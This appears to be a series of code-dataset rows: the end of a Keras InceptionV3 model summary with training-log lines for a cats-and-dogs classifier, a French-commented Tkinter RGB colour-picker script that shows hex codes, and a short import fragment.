__________________________________________________________________________________________________
conv2d_23 (Conv2D) (None, 16, 16, 96) 55296 activation_22[0][0]
__________________________________________________________________________________________________
batch_normalization_20 (BatchNo (None, 16, 16, 48) 144 conv2d_20[0][0]
__________________________________________________________________________________________________
batch_normalization_23 (BatchNo (None, 16, 16, 96) 288 conv2d_23[0][0]
__________________________________________________________________________________________________
activation_20 (Activation) (None, 16, 16, 48) 0 batch_normalization_20[0][0]
__________________________________________________________________________________________________
activation_23 (Activation) (None, 16, 16, 96) 0 batch_normalization_23[0][0]
__________________________________________________________________________________________________
average_pooling2d_2 (AveragePoo (None, 16, 16, 288) 0 mixed1[0][0]
__________________________________________________________________________________________________
conv2d_19 (Conv2D) (None, 16, 16, 64) 18432 mixed1[0][0]
__________________________________________________________________________________________________
conv2d_21 (Conv2D) (None, 16, 16, 64) 76800 activation_20[0][0]
__________________________________________________________________________________________________
conv2d_24 (Conv2D) (None, 16, 16, 96) 82944 activation_23[0][0]
__________________________________________________________________________________________________
conv2d_25 (Conv2D) (None, 16, 16, 64) 18432 average_pooling2d_2[0][0]
__________________________________________________________________________________________________
batch_normalization_19 (BatchNo (None, 16, 16, 64) 192 conv2d_19[0][0]
__________________________________________________________________________________________________
batch_normalization_21 (BatchNo (None, 16, 16, 64) 192 conv2d_21[0][0]
__________________________________________________________________________________________________
batch_normalization_24 (BatchNo (None, 16, 16, 96) 288 conv2d_24[0][0]
__________________________________________________________________________________________________
batch_normalization_25 (BatchNo (None, 16, 16, 64) 192 conv2d_25[0][0]
__________________________________________________________________________________________________
activation_19 (Activation) (None, 16, 16, 64) 0 batch_normalization_19[0][0]
__________________________________________________________________________________________________
activation_21 (Activation) (None, 16, 16, 64) 0 batch_normalization_21[0][0]
__________________________________________________________________________________________________
activation_24 (Activation) (None, 16, 16, 96) 0 batch_normalization_24[0][0]
__________________________________________________________________________________________________
activation_25 (Activation) (None, 16, 16, 64) 0 batch_normalization_25[0][0]
__________________________________________________________________________________________________
mixed2 (Concatenate) (None, 16, 16, 288) 0 activation_19[0][0]
activation_21[0][0]
activation_24[0][0]
activation_25[0][0]
__________________________________________________________________________________________________
conv2d_27 (Conv2D) (None, 16, 16, 64) 18432 mixed2[0][0]
__________________________________________________________________________________________________
batch_normalization_27 (BatchNo (None, 16, 16, 64) 192 conv2d_27[0][0]
__________________________________________________________________________________________________
activation_27 (Activation) (None, 16, 16, 64) 0 batch_normalization_27[0][0]
__________________________________________________________________________________________________
conv2d_28 (Conv2D) (None, 16, 16, 96) 55296 activation_27[0][0]
__________________________________________________________________________________________________
batch_normalization_28 (BatchNo (None, 16, 16, 96) 288 conv2d_28[0][0]
__________________________________________________________________________________________________
activation_28 (Activation) (None, 16, 16, 96) 0 batch_normalization_28[0][0]
__________________________________________________________________________________________________
conv2d_26 (Conv2D) (None, 7, 7, 384) 995328 mixed2[0][0]
__________________________________________________________________________________________________
conv2d_29 (Conv2D) (None, 7, 7, 96) 82944 activation_28[0][0]
__________________________________________________________________________________________________
batch_normalization_26 (BatchNo (None, 7, 7, 384) 1152 conv2d_26[0][0]
__________________________________________________________________________________________________
batch_normalization_29 (BatchNo (None, 7, 7, 96) 288 conv2d_29[0][0]
__________________________________________________________________________________________________
activation_26 (Activation) (None, 7, 7, 384) 0 batch_normalization_26[0][0]
__________________________________________________________________________________________________
activation_29 (Activation) (None, 7, 7, 96) 0 batch_normalization_29[0][0]
__________________________________________________________________________________________________
max_pooling2d_2 (MaxPooling2D) (None, 7, 7, 288) 0 mixed2[0][0]
__________________________________________________________________________________________________
mixed3 (Concatenate) (None, 7, 7, 768) 0 activation_26[0][0]
activation_29[0][0]
max_pooling2d_2[0][0]
__________________________________________________________________________________________________
conv2d_34 (Conv2D) (None, 7, 7, 128) 98304 mixed3[0][0]
__________________________________________________________________________________________________
batch_normalization_34 (BatchNo (None, 7, 7, 128) 384 conv2d_34[0][0]
__________________________________________________________________________________________________
activation_34 (Activation) (None, 7, 7, 128) 0 batch_normalization_34[0][0]
__________________________________________________________________________________________________
conv2d_35 (Conv2D) (None, 7, 7, 128) 114688 activation_34[0][0]
__________________________________________________________________________________________________
batch_normalization_35 (BatchNo (None, 7, 7, 128) 384 conv2d_35[0][0]
__________________________________________________________________________________________________
activation_35 (Activation) (None, 7, 7, 128) 0 batch_normalization_35[0][0]
__________________________________________________________________________________________________
conv2d_31 (Conv2D) (None, 7, 7, 128) 98304 mixed3[0][0]
__________________________________________________________________________________________________
conv2d_36 (Conv2D) (None, 7, 7, 128) 114688 activation_35[0][0]
__________________________________________________________________________________________________
batch_normalization_31 (BatchNo (None, 7, 7, 128) 384 conv2d_31[0][0]
__________________________________________________________________________________________________
batch_normalization_36 (BatchNo (None, 7, 7, 128) 384 conv2d_36[0][0]
__________________________________________________________________________________________________
activation_31 (Activation) (None, 7, 7, 128) 0 batch_normalization_31[0][0]
__________________________________________________________________________________________________
activation_36 (Activation) (None, 7, 7, 128) 0 batch_normalization_36[0][0]
__________________________________________________________________________________________________
conv2d_32 (Conv2D) (None, 7, 7, 128) 114688 activation_31[0][0]
__________________________________________________________________________________________________
conv2d_37 (Conv2D) (None, 7, 7, 128) 114688 activation_36[0][0]
__________________________________________________________________________________________________
batch_normalization_32 (BatchNo (None, 7, 7, 128) 384 conv2d_32[0][0]
__________________________________________________________________________________________________
batch_normalization_37 (BatchNo (None, 7, 7, 128) 384 conv2d_37[0][0]
__________________________________________________________________________________________________
activation_32 (Activation) (None, 7, 7, 128) 0 batch_normalization_32[0][0]
__________________________________________________________________________________________________
activation_37 (Activation) (None, 7, 7, 128) 0 batch_normalization_37[0][0]
__________________________________________________________________________________________________
average_pooling2d_3 (AveragePoo (None, 7, 7, 768) 0 mixed3[0][0]
__________________________________________________________________________________________________
conv2d_30 (Conv2D) (None, 7, 7, 192) 147456 mixed3[0][0]
__________________________________________________________________________________________________
conv2d_33 (Conv2D) (None, 7, 7, 192) 172032 activation_32[0][0]
__________________________________________________________________________________________________
conv2d_38 (Conv2D) (None, 7, 7, 192) 172032 activation_37[0][0]
__________________________________________________________________________________________________
conv2d_39 (Conv2D) (None, 7, 7, 192) 147456 average_pooling2d_3[0][0]
__________________________________________________________________________________________________
batch_normalization_30 (BatchNo (None, 7, 7, 192) 576 conv2d_30[0][0]
__________________________________________________________________________________________________
batch_normalization_33 (BatchNo (None, 7, 7, 192) 576 conv2d_33[0][0]
__________________________________________________________________________________________________
batch_normalization_38 (BatchNo (None, 7, 7, 192) 576 conv2d_38[0][0]
__________________________________________________________________________________________________
batch_normalization_39 (BatchNo (None, 7, 7, 192) 576 conv2d_39[0][0]
__________________________________________________________________________________________________
activation_30 (Activation) (None, 7, 7, 192) 0 batch_normalization_30[0][0]
__________________________________________________________________________________________________
activation_33 (Activation) (None, 7, 7, 192) 0 batch_normalization_33[0][0]
__________________________________________________________________________________________________
activation_38 (Activation) (None, 7, 7, 192) 0 batch_normalization_38[0][0]
__________________________________________________________________________________________________
activation_39 (Activation) (None, 7, 7, 192) 0 batch_normalization_39[0][0]
__________________________________________________________________________________________________
mixed4 (Concatenate) (None, 7, 7, 768) 0 activation_30[0][0]
activation_33[0][0]
activation_38[0][0]
activation_39[0][0]
__________________________________________________________________________________________________
conv2d_44 (Conv2D) (None, 7, 7, 160) 122880 mixed4[0][0]
__________________________________________________________________________________________________
batch_normalization_44 (BatchNo (None, 7, 7, 160) 480 conv2d_44[0][0]
__________________________________________________________________________________________________
activation_44 (Activation) (None, 7, 7, 160) 0 batch_normalization_44[0][0]
__________________________________________________________________________________________________
conv2d_45 (Conv2D) (None, 7, 7, 160) 179200 activation_44[0][0]
__________________________________________________________________________________________________
batch_normalization_45 (BatchNo (None, 7, 7, 160) 480 conv2d_45[0][0]
__________________________________________________________________________________________________
activation_45 (Activation) (None, 7, 7, 160) 0 batch_normalization_45[0][0]
__________________________________________________________________________________________________
conv2d_41 (Conv2D) (None, 7, 7, 160) 122880 mixed4[0][0]
__________________________________________________________________________________________________
conv2d_46 (Conv2D) (None, 7, 7, 160) 179200 activation_45[0][0]
__________________________________________________________________________________________________
batch_normalization_41 (BatchNo (None, 7, 7, 160) 480 conv2d_41[0][0]
__________________________________________________________________________________________________
batch_normalization_46 (BatchNo (None, 7, 7, 160) 480 conv2d_46[0][0]
__________________________________________________________________________________________________
activation_41 (Activation) (None, 7, 7, 160) 0 batch_normalization_41[0][0]
__________________________________________________________________________________________________
activation_46 (Activation) (None, 7, 7, 160) 0 batch_normalization_46[0][0]
__________________________________________________________________________________________________
conv2d_42 (Conv2D) (None, 7, 7, 160) 179200 activation_41[0][0]
__________________________________________________________________________________________________
conv2d_47 (Conv2D) (None, 7, 7, 160) 179200 activation_46[0][0]
__________________________________________________________________________________________________
batch_normalization_42 (BatchNo (None, 7, 7, 160) 480 conv2d_42[0][0]
__________________________________________________________________________________________________
batch_normalization_47 (BatchNo (None, 7, 7, 160) 480 conv2d_47[0][0]
__________________________________________________________________________________________________
activation_42 (Activation) (None, 7, 7, 160) 0 batch_normalization_42[0][0]
__________________________________________________________________________________________________
activation_47 (Activation) (None, 7, 7, 160) 0 batch_normalization_47[0][0]
__________________________________________________________________________________________________
average_pooling2d_4 (AveragePoo (None, 7, 7, 768) 0 mixed4[0][0]
__________________________________________________________________________________________________
conv2d_40 (Conv2D) (None, 7, 7, 192) 147456 mixed4[0][0]
__________________________________________________________________________________________________
conv2d_43 (Conv2D) (None, 7, 7, 192) 215040 activation_42[0][0]
__________________________________________________________________________________________________
conv2d_48 (Conv2D) (None, 7, 7, 192) 215040 activation_47[0][0]
__________________________________________________________________________________________________
conv2d_49 (Conv2D) (None, 7, 7, 192) 147456 average_pooling2d_4[0][0]
__________________________________________________________________________________________________
batch_normalization_40 (BatchNo (None, 7, 7, 192) 576 conv2d_40[0][0]
__________________________________________________________________________________________________
batch_normalization_43 (BatchNo (None, 7, 7, 192) 576 conv2d_43[0][0]
__________________________________________________________________________________________________
batch_normalization_48 (BatchNo (None, 7, 7, 192) 576 conv2d_48[0][0]
__________________________________________________________________________________________________
batch_normalization_49 (BatchNo (None, 7, 7, 192) 576 conv2d_49[0][0]
__________________________________________________________________________________________________
activation_40 (Activation) (None, 7, 7, 192) 0 batch_normalization_40[0][0]
__________________________________________________________________________________________________
activation_43 (Activation) (None, 7, 7, 192) 0 batch_normalization_43[0][0]
__________________________________________________________________________________________________
activation_48 (Activation) (None, 7, 7, 192) 0 batch_normalization_48[0][0]
__________________________________________________________________________________________________
activation_49 (Activation) (None, 7, 7, 192) 0 batch_normalization_49[0][0]
__________________________________________________________________________________________________
mixed5 (Concatenate) (None, 7, 7, 768) 0 activation_40[0][0]
activation_43[0][0]
activation_48[0][0]
activation_49[0][0]
__________________________________________________________________________________________________
conv2d_54 (Conv2D) (None, 7, 7, 160) 122880 mixed5[0][0]
__________________________________________________________________________________________________
batch_normalization_54 (BatchNo (None, 7, 7, 160) 480 conv2d_54[0][0]
__________________________________________________________________________________________________
activation_54 (Activation) (None, 7, 7, 160) 0 batch_normalization_54[0][0]
__________________________________________________________________________________________________
conv2d_55 (Conv2D) (None, 7, 7, 160) 179200 activation_54[0][0]
__________________________________________________________________________________________________
batch_normalization_55 (BatchNo (None, 7, 7, 160) 480 conv2d_55[0][0]
__________________________________________________________________________________________________
activation_55 (Activation) (None, 7, 7, 160) 0 batch_normalization_55[0][0]
__________________________________________________________________________________________________
conv2d_51 (Conv2D) (None, 7, 7, 160) 122880 mixed5[0][0]
__________________________________________________________________________________________________
conv2d_56 (Conv2D) (None, 7, 7, 160) 179200 activation_55[0][0]
__________________________________________________________________________________________________
batch_normalization_51 (BatchNo (None, 7, 7, 160) 480 conv2d_51[0][0]
__________________________________________________________________________________________________
batch_normalization_56 (BatchNo (None, 7, 7, 160) 480 conv2d_56[0][0]
__________________________________________________________________________________________________
activation_51 (Activation) (None, 7, 7, 160) 0 batch_normalization_51[0][0]
__________________________________________________________________________________________________
activation_56 (Activation) (None, 7, 7, 160) 0 batch_normalization_56[0][0]
__________________________________________________________________________________________________
conv2d_52 (Conv2D) (None, 7, 7, 160) 179200 activation_51[0][0]
__________________________________________________________________________________________________
conv2d_57 (Conv2D) (None, 7, 7, 160) 179200 activation_56[0][0]
__________________________________________________________________________________________________
batch_normalization_52 (BatchNo (None, 7, 7, 160) 480 conv2d_52[0][0]
__________________________________________________________________________________________________
batch_normalization_57 (BatchNo (None, 7, 7, 160) 480 conv2d_57[0][0]
__________________________________________________________________________________________________
activation_52 (Activation) (None, 7, 7, 160) 0 batch_normalization_52[0][0]
__________________________________________________________________________________________________
activation_57 (Activation) (None, 7, 7, 160) 0 batch_normalization_57[0][0]
__________________________________________________________________________________________________
average_pooling2d_5 (AveragePoo (None, 7, 7, 768) 0 mixed5[0][0]
__________________________________________________________________________________________________
conv2d_50 (Conv2D) (None, 7, 7, 192) 147456 mixed5[0][0]
__________________________________________________________________________________________________
conv2d_53 (Conv2D) (None, 7, 7, 192) 215040 activation_52[0][0]
__________________________________________________________________________________________________
conv2d_58 (Conv2D) (None, 7, 7, 192) 215040 activation_57[0][0]
__________________________________________________________________________________________________
conv2d_59 (Conv2D) (None, 7, 7, 192) 147456 average_pooling2d_5[0][0]
__________________________________________________________________________________________________
batch_normalization_50 (BatchNo (None, 7, 7, 192) 576 conv2d_50[0][0]
__________________________________________________________________________________________________
batch_normalization_53 (BatchNo (None, 7, 7, 192) 576 conv2d_53[0][0]
__________________________________________________________________________________________________
batch_normalization_58 (BatchNo (None, 7, 7, 192) 576 conv2d_58[0][0]
__________________________________________________________________________________________________
batch_normalization_59 (BatchNo (None, 7, 7, 192) 576 conv2d_59[0][0]
__________________________________________________________________________________________________
activation_50 (Activation) (None, 7, 7, 192) 0 batch_normalization_50[0][0]
__________________________________________________________________________________________________
activation_53 (Activation) (None, 7, 7, 192) 0 batch_normalization_53[0][0]
__________________________________________________________________________________________________
activation_58 (Activation) (None, 7, 7, 192) 0 batch_normalization_58[0][0]
__________________________________________________________________________________________________
activation_59 (Activation) (None, 7, 7, 192) 0 batch_normalization_59[0][0]
__________________________________________________________________________________________________
mixed6 (Concatenate) (None, 7, 7, 768) 0 activation_50[0][0]
activation_53[0][0]
activation_58[0][0]
activation_59[0][0]
__________________________________________________________________________________________________
conv2d_64 (Conv2D) (None, 7, 7, 192) 147456 mixed6[0][0]
__________________________________________________________________________________________________
batch_normalization_64 (BatchNo (None, 7, 7, 192) 576 conv2d_64[0][0]
__________________________________________________________________________________________________
activation_64 (Activation) (None, 7, 7, 192) 0 batch_normalization_64[0][0]
__________________________________________________________________________________________________
conv2d_65 (Conv2D) (None, 7, 7, 192) 258048 activation_64[0][0]
__________________________________________________________________________________________________
batch_normalization_65 (BatchNo (None, 7, 7, 192) 576 conv2d_65[0][0]
__________________________________________________________________________________________________
activation_65 (Activation) (None, 7, 7, 192) 0 batch_normalization_65[0][0]
__________________________________________________________________________________________________
conv2d_61 (Conv2D) (None, 7, 7, 192) 147456 mixed6[0][0]
__________________________________________________________________________________________________
conv2d_66 (Conv2D) (None, 7, 7, 192) 258048 activation_65[0][0]
__________________________________________________________________________________________________
batch_normalization_61 (BatchNo (None, 7, 7, 192) 576 conv2d_61[0][0]
__________________________________________________________________________________________________
batch_normalization_66 (BatchNo (None, 7, 7, 192) 576 conv2d_66[0][0]
__________________________________________________________________________________________________
activation_61 (Activation) (None, 7, 7, 192) 0 batch_normalization_61[0][0]
__________________________________________________________________________________________________
activation_66 (Activation) (None, 7, 7, 192) 0 batch_normalization_66[0][0]
__________________________________________________________________________________________________
conv2d_62 (Conv2D) (None, 7, 7, 192) 258048 activation_61[0][0]
__________________________________________________________________________________________________
conv2d_67 (Conv2D) (None, 7, 7, 192) 258048 activation_66[0][0]
__________________________________________________________________________________________________
batch_normalization_62 (BatchNo (None, 7, 7, 192) 576 conv2d_62[0][0]
__________________________________________________________________________________________________
batch_normalization_67 (BatchNo (None, 7, 7, 192) 576 conv2d_67[0][0]
__________________________________________________________________________________________________
activation_62 (Activation) (None, 7, 7, 192) 0 batch_normalization_62[0][0]
__________________________________________________________________________________________________
activation_67 (Activation) (None, 7, 7, 192) 0 batch_normalization_67[0][0]
__________________________________________________________________________________________________
average_pooling2d_6 (AveragePoo (None, 7, 7, 768) 0 mixed6[0][0]
__________________________________________________________________________________________________
conv2d_60 (Conv2D) (None, 7, 7, 192) 147456 mixed6[0][0]
__________________________________________________________________________________________________
conv2d_63 (Conv2D) (None, 7, 7, 192) 258048 activation_62[0][0]
__________________________________________________________________________________________________
conv2d_68 (Conv2D) (None, 7, 7, 192) 258048 activation_67[0][0]
__________________________________________________________________________________________________
conv2d_69 (Conv2D) (None, 7, 7, 192) 147456 average_pooling2d_6[0][0]
__________________________________________________________________________________________________
batch_normalization_60 (BatchNo (None, 7, 7, 192) 576 conv2d_60[0][0]
__________________________________________________________________________________________________
batch_normalization_63 (BatchNo (None, 7, 7, 192) 576 conv2d_63[0][0]
__________________________________________________________________________________________________
batch_normalization_68 (BatchNo (None, 7, 7, 192) 576 conv2d_68[0][0]
__________________________________________________________________________________________________
batch_normalization_69 (BatchNo (None, 7, 7, 192) 576 conv2d_69[0][0]
__________________________________________________________________________________________________
activation_60 (Activation) (None, 7, 7, 192) 0 batch_normalization_60[0][0]
__________________________________________________________________________________________________
activation_63 (Activation) (None, 7, 7, 192) 0 batch_normalization_63[0][0]
__________________________________________________________________________________________________
activation_68 (Activation) (None, 7, 7, 192) 0 batch_normalization_68[0][0]
__________________________________________________________________________________________________
activation_69 (Activation) (None, 7, 7, 192) 0 batch_normalization_69[0][0]
__________________________________________________________________________________________________
mixed7 (Concatenate) (None, 7, 7, 768) 0 activation_60[0][0]
activation_63[0][0]
activation_68[0][0]
activation_69[0][0]
__________________________________________________________________________________________________
conv2d_72 (Conv2D) (None, 7, 7, 192) 147456 mixed7[0][0]
__________________________________________________________________________________________________
batch_normalization_72 (BatchNo (None, 7, 7, 192) 576 conv2d_72[0][0]
__________________________________________________________________________________________________
activation_72 (Activation) (None, 7, 7, 192) 0 batch_normalization_72[0][0]
__________________________________________________________________________________________________
conv2d_73 (Conv2D) (None, 7, 7, 192) 258048 activation_72[0][0]
__________________________________________________________________________________________________
batch_normalization_73 (BatchNo (None, 7, 7, 192) 576 conv2d_73[0][0]
__________________________________________________________________________________________________
activation_73 (Activation) (None, 7, 7, 192) 0 batch_normalization_73[0][0]
__________________________________________________________________________________________________
conv2d_70 (Conv2D) (None, 7, 7, 192) 147456 mixed7[0][0]
__________________________________________________________________________________________________
conv2d_74 (Conv2D) (None, 7, 7, 192) 258048 activation_73[0][0]
__________________________________________________________________________________________________
batch_normalization_70 (BatchNo (None, 7, 7, 192) 576 conv2d_70[0][0]
__________________________________________________________________________________________________
batch_normalization_74 (BatchNo (None, 7, 7, 192) 576 conv2d_74[0][0]
__________________________________________________________________________________________________
activation_70 (Activation) (None, 7, 7, 192) 0 batch_normalization_70[0][0]
__________________________________________________________________________________________________
activation_74 (Activation) (None, 7, 7, 192) 0 batch_normalization_74[0][0]
__________________________________________________________________________________________________
conv2d_71 (Conv2D) (None, 3, 3, 320) 552960 activation_70[0][0]
__________________________________________________________________________________________________
conv2d_75 (Conv2D) (None, 3, 3, 192) 331776 activation_74[0][0]
__________________________________________________________________________________________________
batch_normalization_71 (BatchNo (None, 3, 3, 320) 960 conv2d_71[0][0]
__________________________________________________________________________________________________
batch_normalization_75 (BatchNo (None, 3, 3, 192) 576 conv2d_75[0][0]
__________________________________________________________________________________________________
activation_71 (Activation) (None, 3, 3, 320) 0 batch_normalization_71[0][0]
__________________________________________________________________________________________________
activation_75 (Activation) (None, 3, 3, 192) 0 batch_normalization_75[0][0]
__________________________________________________________________________________________________
max_pooling2d_3 (MaxPooling2D) (None, 3, 3, 768) 0 mixed7[0][0]
__________________________________________________________________________________________________
mixed8 (Concatenate) (None, 3, 3, 1280) 0 activation_71[0][0]
activation_75[0][0]
max_pooling2d_3[0][0]
__________________________________________________________________________________________________
conv2d_80 (Conv2D) (None, 3, 3, 448) 573440 mixed8[0][0]
__________________________________________________________________________________________________
batch_normalization_80 (BatchNo (None, 3, 3, 448) 1344 conv2d_80[0][0]
__________________________________________________________________________________________________
activation_80 (Activation) (None, 3, 3, 448) 0 batch_normalization_80[0][0]
__________________________________________________________________________________________________
conv2d_77 (Conv2D) (None, 3, 3, 384) 491520 mixed8[0][0]
__________________________________________________________________________________________________
conv2d_81 (Conv2D) (None, 3, 3, 384) 1548288 activation_80[0][0]
__________________________________________________________________________________________________
batch_normalization_77 (BatchNo (None, 3, 3, 384) 1152 conv2d_77[0][0]
__________________________________________________________________________________________________
batch_normalization_81 (BatchNo (None, 3, 3, 384) 1152 conv2d_81[0][0]
__________________________________________________________________________________________________
activation_77 (Activation) (None, 3, 3, 384) 0 batch_normalization_77[0][0]
__________________________________________________________________________________________________
activation_81 (Activation) (None, 3, 3, 384) 0 batch_normalization_81[0][0]
__________________________________________________________________________________________________
conv2d_78 (Conv2D) (None, 3, 3, 384) 442368 activation_77[0][0]
__________________________________________________________________________________________________
conv2d_79 (Conv2D) (None, 3, 3, 384) 442368 activation_77[0][0]
__________________________________________________________________________________________________
conv2d_82 (Conv2D) (None, 3, 3, 384) 442368 activation_81[0][0]
__________________________________________________________________________________________________
conv2d_83 (Conv2D) (None, 3, 3, 384) 442368 activation_81[0][0]
__________________________________________________________________________________________________
average_pooling2d_7 (AveragePoo (None, 3, 3, 1280) 0 mixed8[0][0]
__________________________________________________________________________________________________
conv2d_76 (Conv2D) (None, 3, 3, 320) 409600 mixed8[0][0]
__________________________________________________________________________________________________
batch_normalization_78 (BatchNo (None, 3, 3, 384) 1152 conv2d_78[0][0]
__________________________________________________________________________________________________
batch_normalization_79 (BatchNo (None, 3, 3, 384) 1152 conv2d_79[0][0]
__________________________________________________________________________________________________
batch_normalization_82 (BatchNo (None, 3, 3, 384) 1152 conv2d_82[0][0]
__________________________________________________________________________________________________
batch_normalization_83 (BatchNo (None, 3, 3, 384) 1152 conv2d_83[0][0]
__________________________________________________________________________________________________
conv2d_84 (Conv2D) (None, 3, 3, 192) 245760 average_pooling2d_7[0][0]
__________________________________________________________________________________________________
batch_normalization_76 (BatchNo (None, 3, 3, 320) 960 conv2d_76[0][0]
__________________________________________________________________________________________________
activation_78 (Activation) (None, 3, 3, 384) 0 batch_normalization_78[0][0]
__________________________________________________________________________________________________
activation_79 (Activation) (None, 3, 3, 384) 0 batch_normalization_79[0][0]
__________________________________________________________________________________________________
activation_82 (Activation) (None, 3, 3, 384) 0 batch_normalization_82[0][0]
__________________________________________________________________________________________________
activation_83 (Activation) (None, 3, 3, 384) 0 batch_normalization_83[0][0]
__________________________________________________________________________________________________
batch_normalization_84 (BatchNo (None, 3, 3, 192) 576 conv2d_84[0][0]
__________________________________________________________________________________________________
activation_76 (Activation) (None, 3, 3, 320) 0 batch_normalization_76[0][0]
__________________________________________________________________________________________________
mixed9_0 (Concatenate) (None, 3, 3, 768) 0 activation_78[0][0]
activation_79[0][0]
__________________________________________________________________________________________________
concatenate (Concatenate) (None, 3, 3, 768) 0 activation_82[0][0]
activation_83[0][0]
__________________________________________________________________________________________________
activation_84 (Activation) (None, 3, 3, 192) 0 batch_normalization_84[0][0]
__________________________________________________________________________________________________
mixed9 (Concatenate) (None, 3, 3, 2048) 0 activation_76[0][0]
mixed9_0[0][0]
concatenate[0][0]
activation_84[0][0]
__________________________________________________________________________________________________
conv2d_89 (Conv2D) (None, 3, 3, 448) 917504 mixed9[0][0]
__________________________________________________________________________________________________
batch_normalization_89 (BatchNo (None, 3, 3, 448) 1344 conv2d_89[0][0]
__________________________________________________________________________________________________
activation_89 (Activation) (None, 3, 3, 448) 0 batch_normalization_89[0][0]
__________________________________________________________________________________________________
conv2d_86 (Conv2D) (None, 3, 3, 384) 786432 mixed9[0][0]
__________________________________________________________________________________________________
conv2d_90 (Conv2D) (None, 3, 3, 384) 1548288 activation_89[0][0]
__________________________________________________________________________________________________
batch_normalization_86 (BatchNo (None, 3, 3, 384) 1152 conv2d_86[0][0]
__________________________________________________________________________________________________
batch_normalization_90 (BatchNo (None, 3, 3, 384) 1152 conv2d_90[0][0]
__________________________________________________________________________________________________
activation_86 (Activation) (None, 3, 3, 384) 0 batch_normalization_86[0][0]
__________________________________________________________________________________________________
activation_90 (Activation) (None, 3, 3, 384) 0 batch_normalization_90[0][0]
__________________________________________________________________________________________________
conv2d_87 (Conv2D) (None, 3, 3, 384) 442368 activation_86[0][0]
__________________________________________________________________________________________________
conv2d_88 (Conv2D) (None, 3, 3, 384) 442368 activation_86[0][0]
__________________________________________________________________________________________________
conv2d_91 (Conv2D) (None, 3, 3, 384) 442368 activation_90[0][0]
__________________________________________________________________________________________________
conv2d_92 (Conv2D) (None, 3, 3, 384) 442368 activation_90[0][0]
__________________________________________________________________________________________________
average_pooling2d_8 (AveragePoo (None, 3, 3, 2048) 0 mixed9[0][0]
__________________________________________________________________________________________________
conv2d_85 (Conv2D) (None, 3, 3, 320) 655360 mixed9[0][0]
__________________________________________________________________________________________________
batch_normalization_87 (BatchNo (None, 3, 3, 384) 1152 conv2d_87[0][0]
__________________________________________________________________________________________________
batch_normalization_88 (BatchNo (None, 3, 3, 384) 1152 conv2d_88[0][0]
__________________________________________________________________________________________________
batch_normalization_91 (BatchNo (None, 3, 3, 384) 1152 conv2d_91[0][0]
__________________________________________________________________________________________________
batch_normalization_92 (BatchNo (None, 3, 3, 384) 1152 conv2d_92[0][0]
__________________________________________________________________________________________________
conv2d_93 (Conv2D) (None, 3, 3, 192) 393216 average_pooling2d_8[0][0]
__________________________________________________________________________________________________
batch_normalization_85 (BatchNo (None, 3, 3, 320) 960 conv2d_85[0][0]
__________________________________________________________________________________________________
activation_87 (Activation) (None, 3, 3, 384) 0 batch_normalization_87[0][0]
__________________________________________________________________________________________________
activation_88 (Activation) (None, 3, 3, 384) 0 batch_normalization_88[0][0]
__________________________________________________________________________________________________
activation_91 (Activation) (None, 3, 3, 384) 0 batch_normalization_91[0][0]
__________________________________________________________________________________________________
activation_92 (Activation) (None, 3, 3, 384) 0 batch_normalization_92[0][0]
__________________________________________________________________________________________________
batch_normalization_93 (BatchNo (None, 3, 3, 192) 576 conv2d_93[0][0]
__________________________________________________________________________________________________
activation_85 (Activation) (None, 3, 3, 320) 0 batch_normalization_85[0][0]
__________________________________________________________________________________________________
mixed9_1 (Concatenate) (None, 3, 3, 768) 0 activation_87[0][0]
activation_88[0][0]
__________________________________________________________________________________________________
concatenate_1 (Concatenate) (None, 3, 3, 768) 0 activation_91[0][0]
activation_92[0][0]
__________________________________________________________________________________________________
activation_93 (Activation) (None, 3, 3, 192) 0 batch_normalization_93[0][0]
__________________________________________________________________________________________________
mixed10 (Concatenate) (None, 3, 3, 2048) 0 activation_85[0][0]
mixed9_1[0][0]
concatenate_1[0][0]
activation_93[0][0]
==================================================================================================
Total params: 21,802,784
Trainable params: 0
Non-trainable params: 21,802,784
__________________________________________________________________________________________________
pre trained model last layer output shape: (None, 7, 7, 768)
Total cats and dogs training samples: 1000 1000
Total cats and dogs testing samples: 500 500
Found 2000 images belonging to 2 classes.
Found 1000 images belonging to 2 classes.
""" |
990,130 | e652e28ae4a50dd1595681989efac27993f76cd5 | #script scale.py
#!/usr/bin/python3
"""
Auteur: Vianney Adou
date: 9 /Nov/ 2014
Version: 0.0.1
Licence: GPL2
"""
from tkinter import *
""" BKM couleur est une apllication pour les webmasters
BKM Vianny couleur produit les codes de couleurs en hexadecimal """
rougeb ="00"
vertb ="00"
bleub ="00"
#decodeur hexadecimale sur deux digits
def decode(valeur):
# nouvelle valeur en argument
if((valeur%16)==10):
result = "A"
elif((valeur%16)==11):
result = "B"
elif((valeur%16)==12):
result = "C"
elif((valeur%16)==13):
result = "D"
elif((valeur%16)==14):
result = "E"
elif((valeur%16)==15):
result = "F"
else:
result =str(valeur%16)
return result
def maj(valeur):
conver = []
#permet le decodage sur deux digits
conver.append(decode(valeur))
valeur //= 16
conver.append(decode(valeur))
var = conver[1]+conver[0]
return var
#fonction pour la gestion des modificateurs (Scale)
def coderouge(rouge):
global vertb
global bleub
global rougeb
rougeb = maj(int(rouge))
cod.set("#"+rougeb+vertb+bleub)
couleur["bg"]=str(cod.get())
def codevert(vert):
global rougeb
global bleub
global vertb
vertb = maj(int(vert))
cod.set("#"+rougeb+vertb+bleub)
couleur["bg"]=str(cod.get())
def codebleu(bleu):
global rougeb
global vertb
global bleub
global codCouleur
bleub = maj(int(bleu))
cod.set("#"+rougeb+vertb+bleub)
couleur["bg"]=str(cod.get())
#cration de la fenetre principale (main window)
Mafenetre = Tk()
Mafenetre.title("BKM couleur")
rouge, vert, bleu = StringVar(), StringVar(), StringVar()
rouge.set(0)
vert.set(0)
bleu.set(0)
#creatrion de 3 widgets scale
Srouge = Scale(Mafenetre, from_ = 0, to=255, resolution=1, orient=HORIZONTAL, length=300, width=10, label='Rouge', variable=rouge, command=coderouge)
Srouge.grid(row=0, column=0)
Svert = Scale(Mafenetre, from_ = 0, to=255, resolution=1, orient=HORIZONTAL, length=300, width=10, label='Vert', variable=vert, command=codevert)
Svert.grid(row=1, column=0)
Sbleu = Scale(Mafenetre, from_ = 0, to=255, resolution=1, orient=HORIZONTAL, length=300, width=10, label='Bleu', variable=bleu, command=codebleu)
Sbleu.grid(row=2, column=0)
#Creation du canvas pour la couleur
couleur = Canvas(Mafenetre, width=100, height=100)
couleur.grid(row=0, column=1, rowspan=2)
#ceation du label pour le code
cod = StringVar()
code = Entry(Mafenetre, textvariable=cod ,width=10, bg="white")
code.grid(row=2, column=1)
Mafenetre.mainloop()
|
990,131 | 262e86635e73bea8766d64fea9196ed9d6385527 | # Queries
from queries import user_exists
from queries import insert_user
